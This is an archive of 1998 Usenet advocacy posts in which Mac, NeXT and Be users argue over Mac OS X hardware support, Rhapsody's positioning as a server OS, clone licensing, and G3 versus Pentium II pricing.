Assume 10 models, and that's $100 million.
Actually, the cost of keeping an engineer at Apple is said to be roughly
$250,000. So that's really only $25 million.
And I doubt that it would take 10 bodies to test each system.
At the low end, it would take one body per system, which would cost Apple
$2.5 million to test 10 systems. At the high end, 10 bodies per system, or
$25 million.
So $2.5 to 25 million for testing costs plus whatever else it would cost to
actually make sure that everything worked right.
Would Apple have the money? Yes, of course. They have over a billion in
cash and short term assets.
Would Apple make the money back? Yes, of course. The 604e-owners are the
target audience for Rhapsody upgrades.
So why isn't Apple targeting 604e owners for MacOS X?
Your original explanations are obviously flawed, so now you must come up
with new ones.
My favorite is simply: greed. They want all powerusers to upgrade
immediately in order to use MacOS X.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Jonathan Hendry" <jhendry@cmg.fcnbd.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 1 Aug 1998 05:10:37 GMT
Organization: Steel Driving Software
Message-ID: <01bdbd5e$af207f80$ccb4dccf@samsara>
References: <35c1d9b6.0@news.depaul.edu> <B1E7A648-5062B@206.165.43.145> <01bdbd38$404f50c0$97b5dccf@samsara> <Pine.SOL.3.96.980731234811.3174C-100000@ux10.cso.uiuc.edu>
Pulsar <tokarek@uiuc.edu> wrote in article
<Pine.SOL.3.96.980731234811.3174C-100000@ux10.cso.uiuc.edu>...
> On 1 Aug 1998, Jonathan Hendry wrote:
>
> >
> > First, some set of PCI devices will work - a set useful for a role as
> > a server. Apple is not going to support every PCI device available,
> > because many devices aren't targeted for servers.
>
> Yeah, and because it's not Apple's job to do so. It is the job of the
> manufacturers of these devices to write drivers. Apple does not have the
> hardware details of these things and Apple should not be responsible for
> them.
Don't kid yourself - Apple will be writing Rhapsody drivers, just like
they wrote drivers for NeXTSTEP and OpenStep. Hardware vendors may
take over for Mac OS/X, but for the most part they won't be writing
Rhapsody drivers. No real point exerting the effort right now. Might
as well wait for OS/X.
Further, the more kinds of devices get plugged in, the more the
OS will be stressed, and the more OS/driver bugs can be found and
fixed. If relatively few devices work with Rhapsody, then a lot
of bugs won't be found.
> > Second, there will be little incentive for companies to write Rhapsody
> > drivers, unless their products are useful in servers.
>
> Why? What makes Rhapsody such a great server OS? I thought this has been
> brought up before. I believe there was an article on Stepwise a while
back
> that pointed out how silly it would be to position Rhapsody as a server
OS
> only.
Hey, I'm not the one who renamed it 'MacOS/X Server' am I? It would suit
me fine, but that doesn't mean everyone's going to buy it, and it doesn't
mean every hardware vendor is going to be writing drivers.
> > End result: many PCI devices won't work with (or, rather, will be
> > ignored by) Rhapsody.
>
> That is still not relevant to Mac OS X.
It is, because it implies that Rhapsody users won't be fully exercising
all aspects of their PowerMacs, so a lot of bugs won't be flushed out
by end users pushing the OS and hardware in weird combinations. As such,
the fact that Rhapsody will run on pre-G3 Macs doesn't really say
anything about how much work is involved in making OS X run on them. Same
with the PowerMac Linuxes. They 'run', but how well?
It's the 80/20 rule. The last 20% of functionality takes 80% of the time.
Rhapsody will have that 'easy' 80%. MacOS/X needs all 100%, which is
a lot harder.
From: RasAllGhul@webtv.net (Joshua Moore)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: What Be SHould have Done!
Date: Sat, 1 Aug 1998 05:59:55 -0400 (EDT)
Organization: WebTV Subscriber
Message-ID: <27592-35C2E71B-158@newsd-124.bryant.webtv.net>
References: <6pt3q5$gsj$1@ash.prod.itd.earthlink.net>
Mime-Version: 1.0 (WebTV)
Content-Type: Text/Plain; Charset=ISO-8859-1
Content-Transfer-Encoding: Quoted-Printable
ETAtAhRZnsKRzkRVBZGr3g8A9XgQz5nvfwIVAIKILmHwv8Uc1k+PZxzl1G1WjQeg
Pinochet wrote:
>Joe Ragosta wrote in message ...
>>>Be did sign licenses with Motorola,
>>>PowerComputing, and Umax to replace
>>>MacOS with BeOS. The only problem
>>>seems to be that the cloners were making
>>>their bread and butter selling the MacOS
>>>and were counting on that revenue during
>>>the transition to Be.
>>I guess that sort of shoots the argument that
>>the cloners were just working to increase
>>MacOS' market share.
>Not really. It's still valid. =A0 Just as long as
>nobody was thinking the cloners weren't
>looking out for themselves first, and Apple
>second. Which doesn't mean THAT Apple
>would have to lose anything.
Except the cloner's were using Apple hardware designs and Apple
components and weren't willing to pay Apple's price. Combine that with
the abandonment of the MacOS and clones become a losing proposition.
>>AND the argument that Apple should be
>>supporting Be because they were just
>>trying to help sell more Macs.
>Nope. =A0 It just shows that Be was looking out
>for Be first.
And Apple was and is still looking out for Apple first.
------
"But there's nothing more sadistic than an infant, waving his pistol in
my face. He wants me right down on my knees, crumbling in disgrace.
He underestimates my mind, I know he's messing with my head." - Trigger
Happy Jack by Poe
From: "Jonathan Hendry" <jhendry@cmg.fcnbd.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 1 Aug 1998 01:30:24 GMT
Organization: Steel Driving Software
Message-ID: <01bdbd3f$ead949e0$47b5dccf@samsara>
References: <01bdbd38$404f50c0$97b5dccf@samsara> <B1E7BAB9-9D3D5@206.165.43.145>
Lawson English <english@primenet.com> wrote in article
<B1E7BAB9-9D3D5@206.165.43.145>...
> Jonathan Hendry <jhendry@cmg.fcnbd.com> said:
>
> >Lawson, you don't understand. As usual.
> >
>
> Such a polite crew, these NeXT people.
>
> >First, some set of PCI devices will work - a set useful for a role as
> >a server. Apple is not going to support every PCI device available,
> >because many devices aren't targeted for servers.
> >
>
> But Rhapsody was NEVER presented to developers or end-users or
stockholders
> or the press as a "server" OS, but as the "next-generation OS" from
Apple.
> The "next-generation OS from Apple" had better support all the devices
that
> the last-generation OS did.
Bullshit! They've been saying for *months* that Rhapsody would be a
server OS! If that didn't get the point across, the new name
certainly should.
> >Second, there will be little incentive for companies to write Rhapsody
> >drivers, unless their products are useful in servers.
> >
>
> But Rhapsody was never presented as a serverOS until a few months ago
when
> history was rewritten.
That's immaterial. What counts is what's going to be shipped, and that
is a server OS.
> >End result: many PCI devices won't work with (or, rather, will be
> >ignored by) Rhapsody.
>
> End result: history was rewritten and you're smiling about it.
What *are* you talking about? I'd much rather have a non-Server OS,
that will continue being supported on Intel boxes so I don't have
to buy a Mac.
Just because I can face reality doesn't mean I like it.
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
From: lars.farm@ite.mh.se (Lars Farm)
Message-ID: <1dd30py.1skcw2c1784zgcN@dialup93-1-39.swipnet.se>
References: <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <see-below-2007981842580001@dynamic53.pm04.mv.best.com> <slrn6r80fd.3ku.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35BF17D2.C02B6554@earthlink.net> <joe.ragosta-2907980926260001@wil64.dol.net> <Pine.SOL.3.96.980730143443.22326B-100000@ux5.cso.uiuc.edu> <joe.ragosta-3107980849010001@wil31.dol.net> <Pine.SOL.3.96.980731083550.6876A-100000@ux7.cso.uiuc.edu> <MPG.102c0606e684fb88989a5f@news.supernews.com>
Organization: pv
Date: Sat, 01 Aug 1998 11:19:17 GMT
NNTP-Posting-Date: Sat, 01 Aug 1998 13:19:17 MET DST
Donald Brown <don.brown@cesoft.com> wrote:
> My understanding was that the core OS parts were all abstracted, but that
> not all of Carbon would be.
If they let Carbon into the kernel they might as well declare Mac OS X
as dead as Copland already is, right now. It would in effect make Carbon
part of the central core of the OS and that would be a huge stability
problem in a proper multitasking environment using protected memory.
Given Apple's past on these things, you could be right. That is scary.
Apple has yet to show the world that they really are capable of
delivering a "modern" OS. We will see next autumn what compromises they
did in Mac OS X.
I always thought the "Server" label on Mac OS X Server was to cover up
the delay of Rhapsody. Deliver Rhapsody DR3 and call it Mac OS X Server
to keep expectations and demand low and still be able to pretend that
they did deliver. If you are right then the "Server" label is instead to
indicate "stable and reliable" and Mac OS X would then be the Mac OS X
with "stable and reliable" removed.
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
Date: Sat, 01 Aug 1998 07:26:44 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-0108980726450001@elk78.dol.net>
References: <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <pxpst2-2007981409410001@pelli.pathology.pitt.edu> <joe.ragosta-2007982108170001@elk57.dol.net> <35BF1822.3E94CE81@earthlink.net> <joe.ragosta-2907982111520001@elk76.dol.net> <35C14DC2.74ADCDA0@earthlink.net> <6psofk$eb6$1@news.spacelab.net> <35C1F3A8.2B36FFA2@exu.ericsson.se> <geh-3107981123110001@odo.safe.internal> <macghod-3107981422050001@1cust64.tnt1.santa-barbara.ca.da.uu.net>
In article
<macghod-3107981422050001@1cust64.tnt1.santa-barbara.ca.da.uu.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> In article <geh-3107981123110001@odo.safe.internal>, geh@safe.com (Graeme
> Hiebert) wrote:
>
> > And any upgrade to the 386 short of replacing the motherboard and
> > processor -- the equivalent of putting a whole new computer into an old
> > case -- will not run NT 5.0, which will be much more comparable to MacOS X
> > than will be Win95 (which, by the way, is no longer a current Microsoft
> > product.)
>
> Thats whats so great about pc's, Go to Frys and pick up a motherboard with
> a p2 300 for what, $300, and for $300 you have just upgraded your 386 to a
> p2 300. Now take a mac 2 si. For $300 can you upgrade it to a g3 233?
> HAHAHAHAHAHAHAHAHAHHAHAHAH
> HASHAHAHAHAHAHAHAHAHAHHA
> HAHAHHAHAHHAHAHHAHAHHAHHA
>
> Let me tell you, I have only bought macs, and have bought about a dozen
> macs since the macplus, and good lord do I wish you could buy g3's like
> you can buy a p2 motherboard with p2 processor for such a low price, and
> just put it in a 386!
This is a bogus argument.
First, most 386 boxes are AT style. Most PII boards are ATX and won't fit
into a typical AT box.
Second, even if you can find a PII box that fits, you'll also need to
upgrade your video card, hard drive, RAM, sound card, and so on to have a
reasonably functional computer. You might as well buy a new computer.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 01 Aug 1998 07:23:50 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-0108980723530001@elk78.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <slrn6r7n34.16k.jason@jhste1.dyn.ml.org> <joe.ragosta-2007982111440001@elk57.dol.net> <slrn6r8dnf.290.jason@jhste1.dyn.ml.org> <joe.ragosta-2107980809550001@0.0.0.0> <1dcj3le.wgbb77nigvjN@du137-242.ppp.algonet.se> <joe.ragosta-3107980845370001@wil31.dol.net> <6psua5$dj9$1@plo.sierra.com>
In article <6psua5$dj9$1@plo.sierra.com>, "Earl Malmrose"
<earl.malmrose@nospam.sierra.com> wrote:
> Joe Ragosta wrote in message ...
> >In article <1dcj3le.wgbb77nigvjN@du137-242.ppp.algonet.se>,
> >qwerty.x@algonet.se (Magnus Thoor) wrote:
> >> Yes, it is. Please explain why 8.1's lacking PM has anything to do with
> >> the fact that it's possible to intenionally sabotage Win95.
> >
> >Very simple. It's possible to make either one crash if you do something
> >stupid. In the case of the Mac, if the programmer does something stupid,
> >it can crash. In the case of Windows, if the user does something stupid,
> >the entire OS can be wiped out.
>
> Are you claiming that a user can't wipe out MacOS?
Nope. Just that it's easier with Windows.
>
> And its much, much, much easier for a programmer to do something stupid and
> kill MacOS than it is to kill Windows.
A statement for which you've NEVER provided one shred of evidence.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 01 Aug 1998 07:31:45 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-0108980731460001@elk78.dol.net>
References: <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <see-below-2007981842580001@dynamic53.pm04.mv.best.com> <slrn6r80fd.3ku.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35BF17D2.C02B6554@earthlink.net> <joe.ragosta-2907980926260001@wil64.dol.net> <Pine.SOL.3.96.980730143443.22326B-100000@ux5.cso.uiuc.edu> <joe.ragosta-3107980849010001@wil31.dol.net> <6pt1a4$2md$1@nnrp1.dejanews.com>
In article <6pt1a4$2md$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <joe.ragosta-3107980849010001@wil31.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > Apple's NOT saying that they're having problems with the kernel.
>
> Good.
>
> > Mac OS X is not being supported on pre-G3 machines. It's NOT a kernel
> > issue. It's an issue of IOkit, PDF, Carbon, etc. You're essentially
> > agreeing with me. The fact that the kernel already runs on pre-G3 machines
> > is meaningless. What needs to happen is for all the other parts of
> > Rhapsody to run on pre-G3 machines--and that's the hard part. That's
> > exactly what I was saying.
>
> Why do you think that PDF and Carbon are an issue? Neither of those things
> should touch the hardware directly.
First, because I'm not sure Carbon _won't_ touch the hardware. Do you have
a citation from Apple?
Second, even if they don't touch the kernel, bugs will be found. I
guarantee it. Bugs take time to track down and fix. The more supported
hardware, the more bugs and the harder they are to find.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 01 Aug 1998 07:34:16 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-0108980734160001@elk78.dol.net>
References: <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <joe.ragosta-2407981107010001@wil63.dol.net> <35B8DF8B.FD82305D@ericsson.com> <joe.ragosta-2407981630080001@wil51.dol.net> <35B8F538.88F9A190@ericsson.com> <6pe64i$g57@news1.panix.com> <35c2d68f.109269484@198.0.0.100>
In article <35c2d68f.109269484@198.0.0.100>, nhughes@sunflower.com (nate) wrote:
> On 26 Jul 1998 03:00:34 GMT, sal@panix.com (Sal Denaro) wrote:
>
>
> >NT, OS/2, Solaris and Netware for PPC were either killed or never shipped.
> >CHRP was dead before the first box shipped. It was too little, too late.
>
> Then just how do you explain the PPC version of NT4 on my CD?
Followed shortly by Microsoft saying that they were no longer supporting
it nor developing further versions for PPC.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: charles.bouldin@nist.gov (Charles Bouldin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: PII 46% faster than G3 according to industry standard benchmarks
Date: Sat, 01 Aug 1998 07:54:39 -0400
Organization: Sometimes
Message-ID: <charles.bouldin-0108980754390001@chuckb.mnsinc.com>
References: <35ba8474.0@news1.ibm.net> <35bcaf22.4151551@news.newsguy.com> <35BB6D7C.D0A9AC94@bellsouth.net> <Macghod-2607981534460001@sdn-ar-001casbarp113.dialsprint.net> <35BBF9FA.5869D6D3@bellsouth.net> <35bca6cb.162577578@198.0.0.100> <35BF4640.188F@msn.fullfeed.com> <macghod-0108980129470001@sdn-ar-001casbarp302.dialsprint.net>
Mime-Version: 1.0
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In article <macghod-0108980129470001@sdn-ar-001casbarp302.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
>Its preety funny that the dirt cheap g3 chip, in a apple mac is more
>expensive than a p2 machine, when the p2 chip is many multiples more
>expensive. I wonder what happens to all that extra money..
Apple keeps it. No mystery about that! Since the demise of clones, you now
buy powermacs from Apple, or, you just don't buy powermacs. The real
story, though, is much more complex and interesting than "greedy Apple".
The real irony here is that G3 and other PowerPC chips are cheaper, more
manufacturable, use lower power, scale better, etc, than the 80x86 legacy
chips. BUT, the enormous economies in scale (plus a competitive market of
aggresive vendors) tilt the balance towards better prices from Wintel. It
is sort of the "silver bullet" vs a kludge that is supported by much
larger infrastructure and which is kept competitive by the application of
engineer millenia of work. The net effect of the enormous size and effort
behind the kludge is to (mostly) eliminate the advantages of the PPC.
IMHO, the awful part of "Wintel" is definitely the "win" more than the
"tel". If MacOS ran on other chips and the hardware was available from
other vendors, we would all see better prices, better performance, and
MUCH better long term prospects for the survival of the Mac. When the OS
strategy included Rhapsody running on Intel hardware, I was optimistic
about the long term. Now, despite, "yellow box", I am again pessimistic
about the long term.
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
From: lars.farm@ite.mh.se (Lars Farm)
Message-ID: <1dd37ep.enp710mh18u8N@dialup93-1-39.swipnet.se>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com> <Josh.McKee-2307981810170001@pm3a8.rmac.net> <6p9acg$o8n$1@nnrp1.dejanews.com> <joe.ragosta-2507981956290001@elk82.dol.net> <6phbrl$ibc$1@nnrp1.dejanews.com> <6pim7q$6sg$1@supernews.com> <6pisq8$jtg$1@nnrp1.dejanews.com> <joe.ragosta-2807980911080001@wil43.dol.net> <35c4e136.45677265@news.mindspring.com> <joe.ragosta-3107981049230001@wil31.dol.net> <1dd21m3.1foqfdd99698qN@dialup112-2-9.swipnet.se> <joe.ragosta-3107982010580001@elk71.dol.net>
Organization: pv
Date: Sat, 01 Aug 1998 12:50:33 GMT
NNTP-Posting-Date: Sat, 01 Aug 1998 14:50:33 MET DST
Joe Ragosta <joe.ragosta@dol.net> wrote:
> I'm still waiting for evidence that Macs crash more than Win95. No one's
> ever provided any.
Why set the goal so low? On that side, compare with NT.
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <35c0467b.0@news.uov.net>
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Article cancelled as EMP/ECP, exceeding a BI of 20.
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From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: PII 46% faster than G3 according to industry standard benchmarks
Date: Sat, 01 Aug 1998 01:29:47 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0108980129470001@sdn-ar-001casbarp302.dialsprint.net>
References: <35ba8474.0@news1.ibm.net> <35bcaf22.4151551@news.newsguy.com> <35BB6D7C.D0A9AC94@bellsouth.net> <Macghod-2607981534460001@sdn-ar-001casbarp113.dialsprint.net> <35BBF9FA.5869D6D3@bellsouth.net> <35bca6cb.162577578@198.0.0.100> <35BF4640.188F@msn.fullfeed.com>
oi.Ifgv2Wzq4C*}3i<eUM@$YqSxv"Wr;VFn
In article <35BF4640.188F@msn.fullfeed.com>, ripper@msn.fullfeed.com wrote:
> Gee, takes two of yours to equal one of ours. AND that dual-proc
> machine is EXPENSIVE compared to a G3.
Sorry, you have no clue what you are talking about. You can get dual p2
400's for the price of a g3 300, and a mere single processor p2 400 is
about the same speed as a g3 300.
Its preety funny that the dirt cheap g3 chip, in a apple mac is more
expensive than a p2 machine, when the p2 chip is many multiples more
expensive. I wonder what happens to all that extra money..
> >Add those into the mix and apple comes out the loser- as
> > usual.
> >
> > Hell, given your 30% estimate, my 10 month old dual PII is STILL
> > faster than anything apple can build.
>
> Again, you talk about TWO processors to beat a single. Wow, I think
> that you just backed up Apple's "up to twice as fast" claim. Thanks for
> the ammo!
From: "Jeffrey S. Dutky" <dutky@bellatlantic.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 01 Aug 1998 04:51:49 -0400
Organization: Bell Atlantic Internet Solutions
Message-ID: <35C2D721.454E@bellatlantic.net>
References: <35c0cd24.0@news.depaul.edu> <B1E65ACA-20BAA@206.165.43.108> <6pshr0$2r2$1@bartlet.df.lth.se>
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Christian Brunschen wrote:
> Well, perhaps Be could take a look at www.linuxppc.org,
> and ask one or two of the people _there_
> ...
> (Note: I said 'ask one of the people there' rather than
> 'take a look at the source', since that might infect Be's
> kernel source with the GPL - but asking someone who had
> the information would probably not)
>
The proper thing to do would be to form a group of engineers
to examine the MkLinux and LinuxPPC source and develop a set
of specifications, based on that code, for the G3 hardware.
These hardware specs would be passed to the kernel software
engineers who would write to the spec. This is a standard
black box reverse engineering scenario and would be fairly
easy to do, so long as Be fully documented the process and
was very carefull to keep the engineers on the specification
team away from the folks on the kernel team.
As you say, if Be doesn't get BeOS running on G3's at this
point, it's their own choice. Of course, they may not have
the manpower to persue such a project. Manpower shortages
were what killed the Be hardware effort, and have also been
blamed for other un-persued leads by Be. They are not a very
big company, and they don't have all that much capital, so I
can believe that they don't have the manpower for everything
that can be thought of to do.
- Jeff Dutky
From: "Jeffrey S. Dutky" <dutky@bellatlantic.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Sat, 01 Aug 1998 05:10:01 -0400
Organization: Bell Atlantic Internet Solutions
Message-ID: <35C2DB63.4F54@bellatlantic.net>
References: <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <see-below-2007981842580001@dynamic53.pm04.mv.best.com> <slrn6r80fd.3ku.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35BF17D2.C02B6554@earthlink.net> <joe.ragosta-2907980926260001@wil64.dol.net> <Pine.SOL.3.96.980730143443.22326B-100000@ux5.cso.uiuc.edu> <joe.ragosta-3107980849010001@wil31.dol.net> <Pine.SOL.3.96.980731083550.6876A-100000@ux7.cso.uiuc.edu>
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Pulsar wrote:
>
> Everything about Mac OS X _except_ for the kernel and
> IOKit drivers is abstracted from the hardware _through_
> the kernel.
But you'r wrong about this. The idea behind a micro-kernel
is to support a minimum of hardware abstraction in the
micro-kernel. The only things supported by most micro-
kernels are context switching, process management, memory
management, basic boot time I/O (boot terminal and disk),
synchronization, and inter-process communication. Everything
else is left to a higher level of the OS, e.g. the IOKit.
Micro-kernels specifically DON'T provide abstraction of
extraneous elements such as pointing devices, video frame
buffers, non-boot related I/O, etc. Hence the micro-kernel
is very small and easy to port from one architecture to
another. However, just because you get the micro-kernel
ported to a new platform doesn't mean that the client OS's
know how to deal with all the hardware that is nessecary
to support a modern GUI.
Check out how many different graphics cards are NOT supported
by MkLinux, LinuxPPC and Rhapsody, you'll be shocked. Right
after Apple got Rhapsody/OPENSTEP running on PCI PowerMacs
it didn't support most display adapters. I remember very
clearly that I couldn't run it on my PowerComputing PowerWave,
not because it didn't support the PowerWave motherboard (which
is basically a 9500) but because it wouldn't support my OEM
version ATI Xclaim GA. Very frustrating.
- Jeff Dutky
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998080113574800.JAA08650@ladder03.news.aol.com>
Date: 1 Aug 1998 13:57:47 GMT
Organization: AOL http://www.aol.com
References: <forrestDELETE-THIS!-3107982159150001@term1-24.vta.west.net>
Forrest suggested:
>Make some Desktop Printers with the Chooser, then all you need to do is
>drag the document(s) to the printer you want it to print it on and set up
>your options in the Print dialog that appears. Click OK and off the
>documents go.
Yes, but then I have to switch from my current application, wait for the
clipboard to convert, hide the other applications, find the files I want to
print (assuming I've saved them--typically not the case, I have one document,
with three different views of a project on three different pages with different
page sizes, all of which need to be printed to different printers with
different settings).
The current Mac UI simply can't handle this effiiciently. By contrast, on the
NeXT, I'd pick print three different times, select three different printers
from the scrolling list at the top of the print panel, set three different page
ranges and be done with three discrete actions, instead of the half-dozen or so
which this blossoms into on the Mac (or under Windows for that matter--having
to choose printers from a different dialog box is just about as bad.)
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 1 Aug 1998 09:06:46 -0500
Organization: Prairie Group
Message-ID: <MPG.102cdcef3b927c5d989a6e@news.supernews.com>
macghod@concentric.net says...
> In article <6pm5nd$a5v$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
>
> > Um, no I wasn't. I didn't have to win much in the way of money. $1 would
> > have been enough if he contended it, b/c it would have cost him dearly; I
> > believe it should cost you something in the end if you mischaracterize what
> > others say with no admission of fault or remorse
>
> And how would $1 cost him dearly? Because the judge agreed with you that
> he was acting inappropriately and your good name was polished by the
> judge? I dont think so, Joe would just claim the judge is a pc using
> wintel troll who was out to get him because macs gave the judge a
> inferiority complex ;)
>
Actually, if someone sued me for $1, I'd not show up so as to have a
default judgement. I'd then pay the buck and think about how much the
plaintiff spent in legal fees to get that buck.
Unless, of course, the lawyer was working on a contigency fee. In which
case, the lawyer would get his thirty cents. And he'd have earned it
all.
Donald
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 1 Aug 1998 09:36:57 -0500
Organization: Prairie Group
Message-ID: <MPG.102ce40217f1410f989a71@news.supernews.com>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <joe.ragosta-2607982033560001@elk91.dol.net> <Josh.McKee-2807981805580001@pm3a10.rmac.net> <joe.ragosta-2907980846230001@wil64.dol.net> <Pine.SOL.3.96.980730143132.22326A-100000@ux5.cso.uiuc.edu> <MPG.102ac13ecf3d65f989a55@news.supernews.com> <Pine.SOL.3.96.980731090758.6876C-100000@ux7.cso.uiuc.edu> <MPG.102c0f534d81c682989a65@news.supernews.com> <Pine.SOL.3.96.980731232126.3174B-100000@ux10.cso.uiuc.edu>
